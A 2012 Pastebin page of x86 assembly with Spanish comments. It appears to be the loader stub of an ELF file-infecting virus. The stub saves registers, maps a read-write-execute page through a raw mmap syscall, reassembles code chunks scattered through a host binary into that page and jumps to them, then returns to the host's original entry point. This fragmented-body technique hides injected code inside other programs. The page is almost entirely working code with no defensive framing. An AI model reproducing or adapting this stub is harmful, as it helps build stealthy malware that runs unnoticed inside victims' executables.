SHARE
TWEET

Untitled

a guest May 20th, 2012 58 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. .section .code_bottom, "xa"
  2. .long marker
  3. .long 0
  4. .long 0
  5. .globl frag_entry, assembled_entry, base_ref
  6.  
  7. frag_entry:   /* Esta es la entrada fragmentada */
  8.   push $RETADDR
  9.   pusha
  10.   pushf
  11.   call base_ref
  12.  
  13. base_ref:
  14.   pop %ebp
  15.   sub $DESPLAZAMIENTO, %ebp /* Ajustamos el desplazamiento de la base */
  16.   jmp reassemble
  17.  
  18. assembled_entry: /* Punto de entrada del código ensamblado */
  19.   call _start  /* Llamamos a _start */
  20.  
  21. boot_normal:
  22.   popf   /* Recuperamos EFLAGS */
  23.   popa   /* Recuperamos los registros */
  24.   ret    /* Y saltamos al punto de entrada */
  25.  
  26. reassemble:  
  27.   cld
  28.  
  29.   /* Como vamos a hacer esto:
  30.      mmap (IGNORADO, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, IGNORANDO, IGNORADO)
  31.      Sólo tenemos que tocar los registros ecx, edx y esi */
  32.      
  33.   mov  $4096, %ecx /* Nuestro código cabe en una página */
  34.   mov  $0x7, %edx  /* Todos los permisos */
  35.   mov  $0x22, %esi /* Privado y anónimo */
  36.   mov  $0xc0, %eax /* SYS_mmap */
  37.   int  $0x80
  38.   test $0xfff, %eax
  39.   jnz  boot_normal    /* mmap falló, no podemos reensamblar el código */
  40.   mov  %eax, %edi     /* Ahora bien, si ahora ha funcionado... */
  41.   mov  %eax, %edx     /* Salvamos esta dirección en %edx */
  42. /*
  43.   RECIBE:
  44.   @edi: dirección obtenida por mmap
  45.   @ebp: base del código
  46.  
  47.   MODIFICA:
  48.   esi, eax, ecx
  49. */
  50.  
  51.  
  52.   mov %ebp, %esi     /* La zona continua está marcada por ebp */
  53.   mov 4(%ebp), %ecx  /* Su tamaño está 4 bytes más abajo */
  54.   mov 8(%ebp), %eax  /* Y el siguiente chunk por aquí */
  55.   rep movsb          /* Copiamos toda la zona contigua */
  56.  
  57.   /* Ahora debemos preparar el código para ensamblar */
  58.   mov %ebp, %esi     /* Metemos la base del código en esi */
  59.   sub %eax, %esi     /* Y restamos el desplazamiento hacia atrás */
  60.  
  61.   /* Listos para pasar a la rutina de reensamblado */
  62.  
  63. /*
  64.   RECIBE:
  65.   @esi: dirección del chunk a copiar
  66.   @edi: dirección de destino
  67.   @ebp: base del código
  68.  
  69.   MODIFICA:
  70.   eax, ecx, esi, edi
  71.  */
  72.   xor %ecx, %ecx
  73.  
  74. assembler:
  75.   mov 0(%esi), %eax   /* Aquí irá la información del siguiente chunk */
  76.   movb %al, %cl       /* De la cual extraemos el tamaño */
  77.   add $4, %esi        /* Omitimos la cabecera */
  78.   rep movsb           /* Copiamos hasta 255 bytes */
  79.   shr $8, %eax        /* Esto es un desplazamiento hacia atrás */
  80.   jz no_more_chunks   /* Es 0: no hay más chunks */
  81.   mov %ebp, %esi      /* Construir la dirección del siguiente chunk: base */
  82.   sub %eax, %esi      /* Menos el desplazamiento hacia atrás */
  83.   jmp assembler       /* Y a ensamblar se ha dicho */
  84.  
  85. no_more_chunks:
  86.   /* Fin, saltamos al código terminado */
  87.   mov %edx, %eax
  88.   add $ASSEMBLED_ENTRY_OFFSET, %eax /* Punto de entrada del código ensamblado */
  89.   jmp *%eax
RAW Paste Data
Top